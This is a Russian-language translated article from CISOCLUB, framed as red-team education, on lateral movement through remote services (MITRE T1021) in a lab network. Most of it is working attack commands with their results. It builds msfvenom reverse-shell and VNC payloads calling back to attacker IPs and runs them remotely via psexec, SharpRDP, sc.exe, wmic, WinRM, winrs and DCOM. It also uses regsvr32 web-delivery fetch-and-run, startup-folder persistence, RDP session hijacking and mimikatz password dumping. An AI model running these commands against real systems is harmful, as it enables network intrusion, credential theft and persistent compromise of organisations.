Найти в Дзене
CISOCLUB

Перемещение внутри периметра: Удаленные службы (Mitre:T1021)

Оглавление
 Изображение: cottonbro (Pexels)
Изображение: cottonbro (Pexels)

В этой статье пойдет речь о перемещении внутри периметра с использованием удаленных служб, которые могут помочь в выполнении кода или отдельных команд в удаленных системах при указании недопустимого набора учетных данных.

Стоит добавить, что часто внутри организации используется один и тот же набор учетных данных, поэтому подобный тип перемещения является очень простым и эффективным.

  • MITRE TACTIC: Перемещение внутри периметра (TA0008)
  • MITRE TECHNIQUE ID: T1021 (Удаленные службы)
  • SUBTITLE: Multiple Titles (T1021.001, T1021.002, T1021.003, T1021.004, T1021.005, T1021.006).

Предпосылки

Перемещение внутри периметра подойдет для сбора большего количества данных за счет компрометации большего количества систем без опоры только на одну систему. Пользователь может получить более высокие привилегии и в итоге скомпрометировать всю сеть.

Некоторые службы были специально разработаны для предоставления удаленных сеансов – они пропускают подключения, если были предоставлены корректные учетные данные. В доменных сетях эта базовая проверка подлинности заменяется Kerberos, однако набор корректных учетных данных по-прежнему может использоваться в сети и на нескольких устройствах. Например, учетная запись администратора отдела кадров может быть активирована в любой системе управления персоналом. Таким образом, можно получить больше данных, перемещаясь внутри периметра.

Цель этой статьи – продемонстрировать как можно больше методов, используя много известных удаленных сервисов, включая RDP и SSH. К концу статьи поговорим о таких службах, как mimikatz и wmi. Они в целом используют одну или несколько комбинаций удаленных служб для предоставления удаленных сеансов.

Начнем с RDP и постепенно перейдем к другим службам.

Исходные данные

Для этой статьи были подготовлены две разные настройки. Одной из них является настройка Active Directory с доменом «ignite.local», а второй – 2 обычные устройства Windows, подключенные по мосту к системе Kali в недоменной среде. Детали представлены ниже.

-2

Перемещение внутри периметра с помощью RDP (T1021.001)

Согласно информации от Microsoft, RDP был создан на стандартах протоколов семейства T-120 и является их улучшенной версией. Многоканальный протокол позволяет использовать отдельные виртуальные каналы для передачи следующей информации:

  • данные представления;
  • последовательная связь с устройством;
  • сведения о лицензии;
  • надежно зашифрованные данные, такие как активность клавиатуры и мыши.

Другими словами, протокол позволяет пользователю взаимодействовать с удаленным сервером, предоставляя ему полностью функциональный графический интерфейс.

Хакинг RDP с помощью Диспетчера задач

Когда хакер подключается к пользователю с именем «Администратор» и открывает Диспетчер задач, а потом переходит к пользователям, он увидит следующую картину. Пользователь с именем «hex» в настоящее время вышел из системы, но он существует.

-3

Следует кликнуть на этого пользователя и выбрать опцию «Connect».

-4

Диспетчер задач запросит учетные данные для входа в учетную запись.

-5

Хакер успешно подключился к hex. Это может быть проверено с помощью командной строки.

-6

Хакинг RDP с помощью Tscon

Tscon — это утилита Microsoft Windows, которая была представлена в издании Windows Server 2012. Она используется для подключения к другому сеансу на сервере узла сеансов удаленных рабочих столов. Требуется назначение и идентификатор сеанса для ее работы. Учетные данные пользователя также могут быть переданы в качестве параметра в Tscon. Подробнее об утилите можно почитать здесь.

Интересен тот факт, что если хакеру удалось получить разрешения системного уровня (NT AUTHORITY\SYSTEM), он может переключать сеансы RDP с помощью Tscon без указания пароля. Это работало на более старых версиях Windows 10 безупречно. В более новых версиях – пароль необходимо указывать.

Итак, сначала хакер получает доступ к NT AUTHORITY\SYSTEM в скомпрометированной системе с помощью psexec, а затем просматривает интерактивные сеансы. Он переключается на желаемый сеанс и использует переключатель /DEST для изменения текущего соединения (rdp-tcp #9) с пользователем в 3-м сеансе.

whoami
psexec64.exe -s cmd
whoami
query user
cmd /k tscon 3 /DEST:rdp-tcp#9

-7

Это немедленно откроет нового пользователя “hex” в том же подключении к удаленному рабочему столу! Данный факт может быть подтвержден с помощью команды «whoami» в командной строке.

-8

Хакинг RDP с помощью Mimikatz

Mimikatz включает в себя модуль «ts» для воспроизведения сеансов RDP. Это реализация Tscon только с добавленными функциями от mimikatz. Можно увидеть активные сеансы пользователей с помощью следующей команды:

ts::sessions

-9

Есть отключенный пользователь «hex» с идентификатором сеанса 3. Хакер подключится к нему. То, что пользователь сделал с помощью psexec, mimikatz осуществляет автоматически, используя олицетворение токена для повышения привилегий.

privilege::debug
token::elevate
ts::remote /id:3

-10

И тогда у хакера будет в наличии удаленный рабочий стол пользователя “hex”.

Аутентифицированное выполнение команд с помощью SharpRDP

0xthirteen разработал инструмент SharpRDP, который предоставляет различные методы и приемы для выполнения аутентифицированных команд с использованием RDP в качестве службы. Этот метод не включает в себя перехват удаленных сеансов, а скорее касается использования информации для входа в систему и обеспечения выполнения кода. SharpRDP делает это, используя библиотеку COM и mstscax.dll. Подробнее об этом можно прочитать здесь.

Во-первых, нужно создать полезную нагрузку.

msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.0.89 lport=1337 -f exe > shell.exe

-11

Далее следует разместить этот файл в общем ресурсе SMB. Можно настроить общий ресурс вручную или использовать smbserver от Impacket для настройки временного общего ресурса с именем «sharename».

smbserver.py sharename /root

-12

Теперь, используя известные учетные данные удаленного пользователя с именем Администратор, хакер может применить SharpRDP для выполнения нужного EXE-файла, указав его в приведенном ниже пути UNC.

SharpRDP.exe computername=DESKTOP-9GSGK09 command="cmd.exe /c \\192.168.0.89\sharename\shell.exe username=Administrator password=123

-13

Удаленный сервер подключился к SMB-серверу хакера. Файл был извлечен.

-14

Перемещение внутри периметра выполнено успешно.

-15

Перемещение внутри периметра с помощью SMB (T1021.002)

SMB – сетевой протокол прикладного уровня для удалённого доступа к файлам, принтерам и другим сетевым ресурсам, а также для межпроцессного взаимодействия. Как правило, он нужен для совместного использования файлов, принтеров, но, задействуя общие ресурсы, доступные для записи, пользователь может выполнять команды и, в итоге, осуществить перемещение внутри периметра.

PsExec SMB RCE

Многие инструменты, такие как psexec, используют SMB для выполнения аутентифицированных команд. По словам Microsoft, «PsExec – это «облегченная» замена telnet, он позволяет выполнять процессы в других системах, в комплекте с полной интерактивностью для консольных приложений, без необходимости вручную устанавливать клиентское программное обеспечение. Наиболее эффективные области применения PsExec включают в себя запуск интерактивных командных подсказок на удаленных системах и инструменты удаленного включения, такие как IpConfig, которые в противном случае не имеют возможности отображать информацию об удаленных системах». Во-первых, хакер будет использовать smbserver от Impacket для создания локального общего ресурса SMB, на котором будет размещен его вредоносный файл. Этот файл в итоге будет сохранен на удаленных системах и выполнен для осуществления перемещения.

smbserver.py sharename /root

-16

После этого хакер создаст вредоносный файл с помощью msfvenom.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.0.89 LPORT=1337 -f exe > shell.exe

-17

Теперь хакер будет использовать скомпрометированную систему и загрузит «psexec64.exe» в нее. После этого он введет следующую команду для запуска вредоносного файла на указанном хосте.

psexec64.exe \\DESKTOP-9GSGK09 -u hex -p 123 cmd.exe /c \\192.168.0.89\sharename\shell.exe

-18

Как можно заметить, «hex» добрался до общего ресурса smb и извлек файл.

-19

И, следовательно, хакер успешно получил Reverse Shell.

-20

Создание службы с помощью Sc.exe

Sc.exe – это инструмент командной строки, который поставляется в комплекте с Windows и предлагает пользователям функциональные возможности для обслуживания и администрирования служб Windows NT. Это несущественная системная служба, однако ее можно использовать для создания других служб и выполнения библиотек DLL. Хакер создает службу «ignite» и будет использовать метод regr для определения библиотеки DLL как исполняемой.

Во-первых, следует настроить хендлер и сгенерировать код regr с помощью Metasploit.

use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.0.89
set LPORT 1234
set target 3
run

-21

Теперь полученный код regsvr может быть активирован с помощью команды «sc.exe binpath». Данная команда создает службу «ignite» с приведенным выше кодом в нем. Обратите внимание, что «DESKTOP-9GSGKO9» — это целевая система Windows, в которой должен выполняться код.

sc \\DESKTOP-9GSGKO9 create ignite binpath= "C:\Windows\System32\regsvr32 /s /n /u /i:http://192.168.0.89:8080/nGU8JQ0b9OjF.sct scrobj.dll"
sc \\DESKTOP-9GSGKO9 start ignite

-22

Как можно заметить, возникла проблема – ошибка запуска службы. Это связано с тем, что предоставленная библиотека DLL не является допустимой. Хакер все равно получит Reverse Shell, выполнив DLL! У него есть права администратора на доступные для записи общие ресурсы в удаленной системе, поэтому он получил привилегию NT AUTHORITY\SYSTEM. Однако привилегии могут варьироваться в зависимости от системы.

-23

Metasploit SMB Remote PsExec

Существует модуль Metasploit psexec, который может скомпрометировать удаленную систему, если SMB доступен для целевого объекта и предоставленные учетные данные корректны. Допустим, хакер получил учетные данные SMB «Administrator:123», он может использовать их по сети и скомпрометировать другие системы с тем же набором учетных данных. Хакер указывает полезную нагрузку как meterpreter и получает Reverse Shell.

use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/reverse_tcp
set RHOSTS 192.168.0.119
set SMBUSER Administrator
set SMBPASS 123
set LHOST 192.168.0.89
set LPORT 4444
exploit

-24

Cmd.exe SMB RCE

Cmd.exe в Windows также способен выполнять команды в удаленной системе, если у пользователя есть доступ на запись в критических общих ресурсах, таких как C$, ADMIN$. С помощью Cmd.exe можно скопировать файл в такие места, как C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp и получить Persistence с возможностью осуществить перемещение внутри периметра.

Однако в данном примере хакер выполнит простую команду regr и запишет выходные данные в файл с именем ignite в шере ADMIN$.

use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.0.89
set LPORT 1234
set target 3
run

-25

Теперь хакер вводит данную команду в cmd.exe.

cmd.exe /Q /c "C:\Windows\System32\regsvr32 /s /n /u /i:http://192.168.0.89:8080/jqVdIASVxjl4T.sct scrobj.dll" 1> \\127.0.0.1\ADMIN$\ignite 2>&1

-26

Он получает Reverse Shell.

-27

Как можно заметить, выходной файл был создан в указанном удаленном общем ресурсе. Хотя выходных данных по сути не было, поэтому файл пуст, но он был создан.

-28

Другим примером может быть запись bat-файла в удаленный общий ресурс жертвы 192.168.0.120, что сохранит команду выполнения полезной нагрузки при запуске. Полезная нагрузка будет выполнена при следующем перезапуске системы.

cmd.exe /Q /c "echo ‘cmd.exe /c \\192.168.0.89\sharename\shell.exe’" 1> \\192.168.0.120\C$\ ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ignite.bat 2>&1

SharpMove.exe SMB RCE

0xthirteen разработал скрипт на C# под названием SharpMove – он задействует множество различных удаленных служб для выполнения кода. Можно также использовать общий ресурс SMB в удаленной системе для выполнения кода. SharpMove может попытаться отключить AMSI в качестве дополнительного бонуса. В данном случае хакер изменит существующую службу, добавив в нее собственный код. Он только что создал службу под названием «ignite», демонстрируя sc.exe давайте изменим эту службу. Выполнение в системе с именем хоста “DESKTOP-9GSGK09” может быть осуществлено следующим образом:

SharpMove.exe action=modsvc computername=DESKTOP-9GSGKO9 command="cmd.exe /c \\192.168.0.89\sharename\shell.exe" amsi=true servicename=ignite username=Administrator password=123

-29

Как можно заметить, SharpMove.exe обновил служебный binpath, и Reverse Shell был получен.

-30

Перемещение внутри периметра с помощью DCOM (T1021.003)

Согласно Microsoft, «Microsoft Component Object Model (COM) – это независимая от платформы распределенная объектно-ориентированная система для создания двоичных программных компонентов, которые могут взаимодействовать между собой. COM – это базовая технология для Microsoft OLE (составных документов) и ActiveX.

Это не язык программирования, а стандарт, который применим только к коду, скомпилированному в двоичный код. Языки программирования, такие как C++, предоставляют простые механизмы для работы с COM-объектами. C, Java тоже реализует COM».

COM-объект – это объект, в котором доступ к данным осуществляется исключительно с помощью одного или нескольких наборов связанных функций. Эти наборы функций называются интерфейсами, а функции интерфейса называются методами. Кроме того, COM требует, чтобы единственным способом получить доступ к методам интерфейса был указатель на интерфейс. Другими словами, COM позволяет двоичному файлу взаимодействовать с другими программными объектами или исполняемыми файлами, реализуя объекты, которые могут вызывать библиотеки DLL и EXES. DCOM (Distributed COM) – это промежуточное программное обеспечение, которое расширяет функциональность COM за пределы локального компьютера с использованием технологии удаленного вызова процедур (RPC).

По умолчанию только администраторы могут удаленно активировать и запускать COM-объекты через DCOM.

DCOM может выполнять макросы в документах Office, а также удаленно взаимодействовать с WMI, тем самым открывая атакуемый домен для широкого спектра векторов.

Пожалуйста, обратите внимание, что эта атака возможна в системе, подключенной к домену. Удаленное управление DCOM по умолчанию недоступно в разных сетях. Чтобы запустить удаленное управление DCOM, требуется некоторый магический код, который не входит в полномочия данной статьи.

Mmc20.application Remote DCOM

Консоль управления Microsoft (MMC) используется для создания, хранения и открытия административных средств, называемых консолями. Они управляют аппаратными, программными и сетевыми компонентами операционной системы Microsoft Windows. MMC работает на всех клиентских операционных системах, которые поддерживаются в настоящее время. В данном случае используется метод Enigma0x3 (подробнее – здесь).

Во-первых, давайте посмотрим запись реестра mmc20.application с помощью Powershell. ProgID необходим для создания его экземпляра в удаленной системе. Далее хакер создаст новый экземпляр этой программы mmc20 в целевой системе (192.168.0.119) с помощью Powershell.

Get-ChildItem 'registry::HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}'
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.0.119"))

-31

Хакер создает объект с именем «$dcom», он порождает различные функции, которые может выполнять mmc. Одной из них является «ExecuteShellCommand».

-32

Хакер будет использовать эту функцию для выполнения команды на удаленном объекте DCOM, созданном следующим образом.

$dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c \\192.168.0.89\sharename\shell.exe > output.txt","7")

После успешного выполнения на SMB-сервере исполняемый файл извлекается и выполняется.

-33

Хакер получает Reverse Shell и может осуществить перемещение внутри периметра.

-34

Перемещение внутри периметра с помощью SSH (T1021.004)

SSH – это широко используемый кроссплатформенный протокол, который позволяет пользователю подключаться к удаленным сеансам, а также копировать файлы. Часто в корпоративных средах используются различные подсети, которые могут быть недоступны хакеру напрямую из-за ограничений межсетевым экраном или из-за другого сетевого интерфейса. В таких сценариях перемещение внутри периметра с помощью SSH может предоставить множество возможностей для хакера. Давайте взглянем на некоторые методы.

Переадресация портов SSH

Для получения подробных примеров использования и руководства по переадресации портов настоятельно рекомендуем почитать статьи в Интернете. В данном случае рассмотрим простой сценарий. Конечный сервер имеет следующий IP-адрес и имя пользователя.

-35

Хакер успешно скомпрометировал систему с именем пользователя «hex», она имеет 2 сетевые карты. Одна – в той же сети, что и компьютер хакера, а вторая – в сети целевого сервера.

-36

Как можно заметить, компьютер хакера имеет подсеть, отличающуюся от целевой, она недоступна напрямую.

-37

Чтобы настроить переадресацию локального порта, что позволит хакеру перенаправлять любой входящий трафик с определенного порта на сервер назначения, нужно следовать данной схеме.

ssh -L LOCAL_PORT:DEST_IP:DEST_PORT COMPROMISED_USERNAME@COMPROMISED_SERVER

После этого хакер должен указать пароль hex.

ssh -L 7000:192.168.179.130:22 hex@192.168.0.119

-38

После успешной настройки хакер сможет подключиться к целевому серверу. Во-первых, он убедится, что в файле «known_hosts» нет ранее существовавших записей localhost (с помощью «ssh-keygen -R»).

ssh-keygen -R 127.0.0.1
ssh server@127.0.0.1 -p 7000

-39

Хакер успешно подключился к цели.

Перемещение внутри периметра с помощью SSH (T1021.004)

Virtual Network Computing (VNC) – система удалённого доступа к рабочему столу компьютера, использующая протокол RFB. Управление осуществляется путём передачи нажатий клавиш на клавиатуре и движений мыши с одного компьютера на другой и ретрансляции содержимого экрана через компьютерную сеть. Подобное определение кажется очень похожим на протокол удаленного рабочего стола, который был упомянут некоторое время назад, но между ними есть значительная разница. VNC не зависит от платформы, что означает, что она может работать с Linux и Windows, в то время как RDP может осуществлять работу только между двумя машинами Windows.

Согласно MITRE, «Хакеры могут злоупотреблять VNC для выполнения вредоносных действий от имени вошедшего в систему пользователя, среди них открытие документов, загрузка файлов и выполнение произвольных команд. Хакер может использовать VNC для удаленного управления и мониторинга системы для сбора данных и информации с целью их передачи другим системам в сети».

Давайте рассмотрим один из таких методов.

Полезная нагрузка VNCinject

VNCinject – это полезная нагрузка, доступная для использования с msfvenom, она устанавливает отражающий vncDLL и подключается обратно к атакующей системе. Следует подчеркнуть, что для дальнейшего перемещения внутри периметра может использоваться метод удаленного выполнения, такой как psexec.

Давайте сначала создадим полезную нагрузку и разместим ее на веб-сервере для загрузки и выполнения в системе.

msfvenom -p windows/x64/vncinject/reverse_tcp lhost=192.168.1.4 lport=4532 -f exe > vnc.exe

-40

Теперь хакер заставляет жертву выполнить эту полезную нагрузку. Это можно сделать, отправив фишинговые ссылки. Для простоты хакер использует powershell wget для загрузки и выполнения.

powershell wget 192.168.1.4/vnc.exe -O vnc.exe
vnc.exe

-41

Хакер настраивает multi/handler и ждет обратного вызова. После успешного выполнения команды хакер получает обратный вызов в консоли.

use multi/handler
set payload windows/x64/vncinject/reverse_tcp
set lhost 192.168.1.4
set lport 4532
run

-42

Через некоторое время хакер получит полноценную сессию VNC, и теперь перемещение внутри периметра возможно.

-43

Перемещение внутри периметра с помощью WinRM (T1021.006)

WinRM – это инструмент командной строки, который позволяет администраторам удаленно выполнять CMD-команды, использующие протокол WS-Management. Эта спецификация описывает общий протокол на основе SOAP для управления такими системами, как ПК, серверы, устройства, веб-службы, другие приложения и управляемые объекты. WinRM использует порт 5985 для передачи по протоколу HTTP и 5986 — для передачи по протоколу HTTPS.

В серверных и клиентских версиях операционной системы Windows функция Enable-PSRemoting позволяет администратору получить доступ к удаленному командному Shell с помощью Powershell для частных и доменных сетей с помощью WinRM.

Ознакомьтесь с информацией от Microsoft о WinRM здесь.

Во-первых, чтобы настроить WinRM, нужно выполнить следующие команды только в окне Powershell от имени администратора. Это включило бы winrm, разрешило бы HTTP-соединение (поскольку по умолчанию для HTTPS в системе нет SSL-сертификата) и разрешило бы всем пользователям добавлять их в доверенные хосты.

Enable-PSRemoting -Force
winrm quickconfig
winrm set winrm/config/service '@{AllowUnencrypted="true"}'
Set-Item WSMan:localhost\client\trustedhosts -value *

-44

Для службы WinRM можно также вручную просмотреть конфигурацию и установить или изменить любое значение.

cd WSMan:\localhost\Client
set-item .\allowunencrypted $true

-45

Для доменной среды часто такие инструменты, как WinRS, не будут работать из-за Kerberos. Следовательно, нужно активировать базовый механизм аутентификации.

set-item WSMan:\localhost\Service\Auth\Basic $true
set-item WSMan:\localhost\Service\AllowUnencrypted $true

-46

New-PSSession Powershell

Команда New-PSSession в Powershell создает новый постоянный удаленный сеанс Powershell. Указав учетные данные, хакер увидел, что он подключился к серверу. Это полезно в сценариях, когда одна система имеет доступ к целевому серверу, и нужно подключиться к нему, но атакующая система не может до него добраться.

Далее можно выполнить вредоносный исполняемый файл, который хакер сохранил в общем ресурсе SMB для дальнейшего перемещения внутри периметра.

New-PSSession -ComputerName 192.168.1.2 -Credential (Get-Credential)
Enter-PSSession 2
cmd.exe /c \\192.168.1.4\sharename\shell.exe

-47

Теперь сервер имеет обход входящих подключений через межсетевой экран, который запрещал пользователю подключаться. Вместо этого хакер подключил сервер к нему.

-48

Reverse Shell был получен.

-49

Invoke-Command Powershell

Invoke-Command – это cmdlet в Powershell, который выполняет указанные команды в удаленных системах с использованием WinRM. Администраторы используют его для автоматической установки программного обеспечения. Однако Invoke-Command можно использовать и для перемещения внутри периметра. Указав данную команду в «scriptblock», хакер может выполнить ее. Флаг «-Credential» дает возможность пользователю указывать учетные данные, которые также могут быть заменены путем создания блока и передачи его в STDIN.

Invoke-Command dc1.ignite.local -Credential $cred -ScriptBlock {cmd.exe /c \\192.168.1.4\sharename\shell.exe}

-50

Shell был получен.

-51

Winrs

Winrs расшифровывается как Windows Remote Shell и очень похож на New-PSSession. Он существует в Windows с Server 2008. Winrs можно использовать для выполнения кода в удаленной системе. Он использует только базовую аутентификацию. Итак, shell.exe хранящийся в smbshare может быть выполнен следующим образом:

winrs /r:dc1 /username:Administrator /password:Ignite@987 "cmd.exe /c \\192.168.1.4\sharename\shell.exe"

Reverse Shell был получен.

-52

Evil-Winrm

Evil-WinRM – это популярный инструмент, используемый Red Teamers для осуществления перемещения внутри периметра по сети с помощью WinRM. В фоновом режиме он также использует возможности удаленной Shell Windows, но имеет и некоторые дополнительные функции. Он закодирован на ruby и может быть установлен с помощью «gem install evil-winrm». После установки его можно использовать для подключения к удаленному серверу.

evil-winrm -i 192.168.1.2 -u Administrator -p 'Ignite@987'

-53

Хакер создал папку с именем «binaries» в /root, она включает в себя скрипт Mimikatz Powershell (его можно найти здесь).

-54

Evil-WinRM может загрузить эти скрипты Powershell (хранящиеся в папке) и позволить выполнить функции Powershell. Для этого хакер использует «-s» и указывает путь к папке с двоичными файлами. После этого он может использовать Invoke-Mimikatz и произвести дамп кэшированных паролей.

evil-winrm -i 192.168.1.2 -u Administrator -p 'Ignite@987' -s '/root/binaries'
Invoke-Mimikatz.ps1
Invoke-Mimikatz

-55

Перемещение внутри периметра с помощью Mimikatz

Mimikatz содержит множество опций, которые помогают при перемещении внутри периметра. Одной из таких опций является дамп паролей. Можно осуществить его с помощью модуля безопасности:

privilege::debug
sekurlsa::logonpasswords

-56

Эти хеши в дальнейшем могут быть использованы с помощью psexec для проведения атак типа pass-the-hash.

Перемещение внутри периметра с помощью WMI

WMIC (Windows Management Instrumentation Command) используется для получения сведений об оборудовании и системе, управлении процессами и их компонентами, а также изменении настроек с использованием возможностей инструментария управления Windows (Windows Management Instrumentation или WMI). WMIC совместим с существующими Shell и служебными командами. WMI также можно использовать для удаленного выполнения команд. Это достигается с помощью флага /node. Например, в приведенном ниже примере хакер создает новый вызов, который выполнит Shell, хранящийся на SMB-сервере на узле 192.168.1.2.

wmic /node:192.168.1.2 /user:administrator process call create "cmd.exe /c \\192.168.1.4\sharename\shell.exe"

-57

Reverse Shell был получен.

-58

Перемещение внутри периметра с помощью Invoke-WmiMethod

Что касается любой хорошей утилиты, которая существовала в Windows в виде двоичного файла, Microsoft создала для нее эквивалентный Powershell cmdlet. Invoke-WmiMethod — это cmdlet, который выполняет то же самое, что и WMIC в приведенном выше примере. Более новый метод Invoke-CimMethod в PS 5.1+ делает то же самое. Об этом можно прочитать здесь.

Чтобы использовать Invoke-WmiMethod с помощью CLI, нужно создать команду. Спасибо @spotheplanet за эту технику. Можно также использовать универсальный метод Invoke-WmiMethod, но для этого требуется графический интерфейс, которого обычно нет в сценариях Red Team.

В этом методе хакер создаст вредоносный MSI-файл и доставит его на целевой сервер.

wmic /node:192.168.1.2 /user:administrator process call create "cmd.exe /c \\192.168.1.4\sharename\shell.exe"

-59

Теперь, в CLI жертвы, хакер вводит следующую команду. Эта команда в основном предоставляет учетные данные (Administrator:Ignite@987) для Invoke-WmiMethod и установки MSI-файла, помещенного в общий ресурс SMB.

$username = 'Administrator';$password = 'Ignite@987';$securePassword = ConvertTo-SecureString $password -AsPlainText -Force; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword; Invoke-WmiMethod -Path win32_product -name install -argumentlist @($true,"","\\192.168.1.4\sharename\shell.msi") -ComputerName dc1 -Credential $credential

-60

Reverse Shell был получен с помощью листенера.

-61

Заключение

Перемещение внутри параметра является важным шагом, поскольку оно приводит к повышению привилегий и компрометации сети. В статье шла речь об удаленных службах и о том, как можно их использовать для осуществления соответствующих сценариев во время Red Team Assessments. Эти службы по своей сути обладают возможностью взаимодействия с удаленными системами.

Автор переведенной статьи: Harshit Rajpal.

Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.

Больше интересного материала на cisoclub.ru. Подписывайтесь на нас: VK | Twitter | Telegram | Дзен | Мессенджер | ICQ New | YouTube | Rutube | Now | Пульс.